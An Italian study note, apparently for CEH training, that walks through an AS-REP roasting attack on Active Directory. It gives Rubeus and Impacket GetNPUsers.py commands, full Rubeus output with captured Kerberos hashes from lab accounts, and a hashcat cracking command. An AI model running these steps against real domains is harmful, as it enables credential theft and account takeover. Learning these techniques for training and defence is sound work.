tags: AS-REP_Roasting_Attack Hacking_Active_Directory active_directory
Un attacco di roasting AS-REP prende di mira gli account utente in AD che non richiedono la pre-autenticazione Kerberos, sfruttando l’impostazione DONT_REQ_PREAUTH. Gli aggressori possono richiedere un ticket-granting ticket (TGT) per questi account senza aver bisogno della password dell’utente.
Il DC risponde con un TGT crittografato, che l’aggressore cattura. Questo TGT, crittografato con l’hash della password dell’utente, viene quindi sottoposto a strumenti di cracking delle password offline come Hashcat o John the Ripper. Indovinando rapidamente la password, l’aggressore può infine decrittografare il TGT, rivelando la password dell’utente.
Per fare ciò possiamo utilizzare un programmino presente nella cartella impacket presente nei file CEH, il programma si trova dentro la cartella examples e il programma si chiama GetNPUsers.py oppure tramite Rubeus che permette un’esecuzione molto più semplice.
Prima di fare questo attacco puoi provare ad utilizzare kerbrute Kerbrute
Rubeus
“
Rubeus.exe asreproastC:\Users\Administrator\Downloads>Rubeus.exe asreproast
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: AS-REP roasting
[*] Target Domain : CONTROLLER.local
[*] Searching path 'LDAP://CONTROLLER-1.CONTROLLER.local/DC=CONTROLLER,DC=local' for AS-REP roastable users
[*] SamAccountName : Admin2
[*] DistinguishedName : CN=Admin-2,CN=Users,DC=CONTROLLER,DC=local
[*] Using domain controller: CONTROLLER-1.CONTROLLER.local (fe80::19bc:c94d:6b7e:ad36%5)
[*] Building AS-REQ (w/o preauth) for: 'CONTROLLER.local\Admin2'
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:
$krb5asrep$Admin2@CONTROLLER.local:544037C1DBB99CCC98A3692A465A82B8$0D8C73B841DF
90F46361E2E2FEBE4F44BFEF5EA1E0906520F3C37D4E9572F6C7562B8A3DF6D0BEDF24095000B267
F15F4268481615BC4986A062DFDBF5BEF973EC4D5865AC0A5230D06354EB7799596CC34C86172D7B
38E0217E311B883E24EBEFBCB702B64C62B203389279E53A4351155E79D147AEDE1CF38DFB9A8278
C3E8B659B783F719457EDCA9F19A30AF510E35776F2A46F117DC7431A4F0EC9D43DE3E261964BFC9
CF51D57FFD1F13582809B2125B534FA7FD7932057FA04C240E11C2B9A1D1ABD4BE92873AB82ECDB3
9916A3DC516D7DFC18046884F6E8D79A9930705AF0D48D082E4F57F21AB6AFBE426F566ED182
[*] SamAccountName : User3
[*] DistinguishedName : CN=User-3,CN=Users,DC=CONTROLLER,DC=local
[*] Using domain controller: CONTROLLER-1.CONTROLLER.local (fe80::19bc:c94d:6b7e:ad36%5)
[*] Building AS-REQ (w/o preauth) for: 'CONTROLLER.local\User3'
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:
$krb5asrep$User3@CONTROLLER.local:4B4288BA738AE5204539B18BA343AC1D$D3C707FDA288E
C7258219A29176D4147FA1BA7E7DA37F5DDD5CB3F1C5A83549CE0B5CBB6E10D6B5EF8011EEBCA21E
4AD4C66480814FFF45376BCFF1164BB303BFCD4527CED07CE946FDB5790BEB6C808D14A501601A94
1B3DA74D253B8DBCFA5C96D516D275BAE5DAA4458C14C371D9209C418E81C2936BF33C7DF85908CF
170B1FF5351E3454AABA71711F72AC31A4C66F9CA70A52D766B403A6C1AE8875953D1EE5B63BCB89
345AC2756B49285E3D47F6EC6ECF6492E6DF7CE2F4ABDA45351167F93EDE98F592C8D2A4CEFE4B77
FC8FB1C010A6D40E2B16D420AD1FC6AA287501B17EA16E6D44241563C96EA2C80E128B8823E
C:\Users\Administrator\Downloads>Salva gli hash in un file .txt e usa hashcat per craccarlo, in caso di non funzionasse puoi provare a inserire krb5asrep in modo che dinventi così:
$krb5asrep$23$User.....hashcat -m 18200 hash.txt wordlist.txtInstallazione Rubeus
Nel caso in cui dovesse mancare questo programma nella macchina lo possiamo installare dalla seguente pagine https://github.com/r3motecontrol/Ghostpack-CompiledBinaries
GetNPUsers
L’attacco lo possiamo effettuare tramite questo comando:
python3 GetNPUsers.py CEH.com/ -no-pass -usersfile /root/ADtools/users.txt -dc-ip 10.10.1.22-
GetNPUsers.py: script Python per recuperare le informazioni utente AD. -
CEH.com/: dominio AD di destinazione. -
no-pass: flag per trovare gli account utente che non richiedono pre-autenticazione. -
usersfile ~/ADtools/users.txt: percorso al file con l’elenco degli account utente, il file presente nella cartella CEH è scarsissimo, quindi abbiamo bisogno di un dizionario migliore. -
dc-ip 10.10.1.22: indirizzo IP del DC da interrogare.

Ora possiamo craccare questo hash con strumenti coma John The Ripper e Hashcat.

